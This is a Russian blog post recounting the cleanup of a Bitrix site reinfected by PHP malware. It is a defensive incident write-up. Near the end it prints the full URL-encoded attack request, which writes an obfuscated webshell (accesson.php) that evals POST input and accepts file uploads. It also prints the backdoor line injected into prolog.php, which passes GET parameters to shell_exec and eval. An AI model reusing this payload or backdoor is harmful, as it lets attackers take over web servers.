Лечение сайта от вируса wp-admin

Обратился ко мне заказчик вопросом, есть ли опыт в лечении сайтов на Битрикс. Получив утвердительный ответ, поставил задачу.


Суть задачи:

Заказчик постоянно обнаруживал на сайте "левые" папки и файлы. Удаление ни к чему не приводило. Через некоторое время файлы появлялись вновь. Сайт смотрели несколько специалистов, однако решить проблему не смогли. Неделю - тишина, потом всё повторялось снова.

Заказчик уверял, что сейчас сайт на 100% чистый, так как восстановлен с самого раннего бэкапа. Однако вирусы вылезли вновь. Давайте разбираться.


Полный список левых файлов, с которыми сталкивался заказчик:

new-index.php
media-admin.php
fot.php
accesson.php
accesson0.php
gank.php.PhP
pig.php
pop.php
wikindex.php
wp-load.php
wp_wrong_datlib.php
wp-plugins.php
ups.php
search.php
s_ne.php
s_e.php
moduless.php
index3.php
doc.php
beence.php
QCpHGHkfdX.php
snMJvsqHcg.php
nCPJvhuzCz.php
get.php
go.php
index3.php
ups.php
form.php
vgMrBrNogq.html
class-wp-admin-bar.php
Анализ логов - наипервейшее дело. Полез смотреть. Ситуация осложнялась тем, что заказчик сообщил о заражении через несколько дней и файлы уже поудалял. Какие именно из этого списка были сформированы в этот раз - не помнил. Учитывая довольно неслабую посещаемость сайтов, логи представляли собой такую хорошую портянку.

Что было обнаружено в процессе. В корне сайта лежал незамеченный файл auth.php, который позволял авторизоваться на сайте, используя API Bitrix, без ввода логина и пароля. Вы попадали в админку с правами администратора. И могли делать, что угодно.

Для чего этот файл, использовался ли он когда-нибудь при работе клиент не знал. Может и использовали когда-нибудь при разработке, может оставил чёрный ход кто-то из разработчиков - не угадаешь. Удалил файл.

Дополнительно посмотрел, что выдаёт проактивная защита. Поправил некоторые записи. Особо назойливые IP заблокировал, хотя толку от этого, конечно...

Также в логах удалось увидеть, что постоянно пробивают присутствие файла /bitrix/admin/accesson.php. И если зачастую он отдаёт 404 статус, так как файла нет, то перед появлением всего остального мусора этот файл уже на сервере, отдаёт 200 статус.И затем, уже через accesson.php производилась генерация всего остального мусора. Но первоначально появлялся именно этот файл.

Чтобы не листать портянки логов, написал свой собственный скрипт логирования, отслеживая только запросы, в которых присутствует .php. Поменяли пароли везде, стали ждать. Я всё таки думал, что файл загружается именно с использованием файла auth.php

Спустя несколько часов снова увидел файл /bitrix/admin/accesson.php. Чисто на автомате удалил его, предположив, что либо не заметил сразу, либо файл был загружен, пока у злоумышленника была активна авторизационная сессия.

10 дней было тихо. Но потом файл появился опять, а вместе с ним и куча всего остального мусора, включая файловые менеджеры, MySQL и т.д. Однако в данном случае я уже был готов. Просмотрел свои логи - чисто!!! Фиксируется обращение к /bitrix/admin/accesson.php с 400 статусом и потом бац - 200 статус. Что за ерунда? Ведь я не стал писать только действия админов. Неужели один из админов грузит файл?

Сейчас нам было известно точное время создания файла. И период времени между тем, когда файла не было, и когда он появился. Анализ логов показал, что в этом промежутке был любопытный запрос:

/?midog=%24s%3D%24_SERVER[%27DOCUMENT_ROOT%27].%27%2F%27%3B%24s1%3D%24s.%27bitrix%2Fadmin%2F%27%3B%0A%09%24fh%3D
fopen(%24s1.%27accesson.php%27%2C%27w%27)%3B%0A%09fwrite(%24fh%2C%27%3C%3Fphp+echo+7457737%2B736723%3B%24raPo_rZlu
oE%3Dbase64_decode(%22Y%22.chr(109).%22F%22.chr(122).chr(90).%22T%22.chr(89).chr(48).chr(88).%222%22.%22R%22.%22l%
22.%22Y%22.chr(50).%229%22.chr(107).%22Z%22.chr(81).%22%3D%22.%22%3D%22)%3B%24ydSJPtnwrSv%3Dbase64_decode(chr(89).
%222%22.chr(57).chr(119).chr(101).chr(81).chr(61).%22%3D%22)%3Beval(%24raPo_rZluoE(%24_POST[base64_decode(chr(97).
chr(87).%22Q%22.chr(61))]))%3Bif(%24_POST[base64_decode(%22d%22.chr(88).chr(65).%22%3D%22)]+%3D%3D+
base64_decode(%22d%22.%22X%22.chr(65).chr(61))){%40%24ydSJPtnwrSv(%24_FILES[base64_decode(chr(90).%22m%22.
%22l%22.%22s%22.chr(90).%22Q%22.%22%3D%22.chr(61))][base64_decode(chr(100).chr(71).chr(49).%22w%22.%22X%22.chr(50)
.%225%22.chr(104).%22b%22.chr(87).%22U%22.chr(61))]%2C%24_FILES[base64_decode(%22Z%22.chr(109).%22l%22.%22s%22
.chr(90).%22Q%22.chr(61).chr(61))][base64_decode(chr(98).%22m%22.%22F%22.chr(116).%22Z%22.chr(81).chr(61)
.%22%3D%22)])%3B}%3B%3F%3E%27)%3B%0A%09fclose(%24fh)%3B
Запустив запрос на локалке увидел то, что и хотел - файл /bitrix/admin/accesson.php. Удалил, снова вызвал запрос - файл снова на месте.

Ну а дальше дело было за малым - просканировать рекурсивно файлы сайта и найти, где используется "слушатель" отправляемого кода. В нашем случае - midog. В итоге вызов обнаружился в файле bitrix/modules/main/include/prolog.php

if(isset($_GET['micat']))echo shell_exec($_GET['micat']);if(isset($_GET['midog']))echo eval($_GET['midog']);
Удаляем, запускаем запрос заново. Бинго! Чистота. Файл не генерируется, заказчик доволен. Прошло уже достаточно времени - всё отлично.

Любите свои сайты, дамы и господа, лечите их вовремя ). Возникли проблемы - обращайтесь. Подумаем и посмотрим, что можно сделать! Всем добра!

Лечение сайта от вируса wp-admin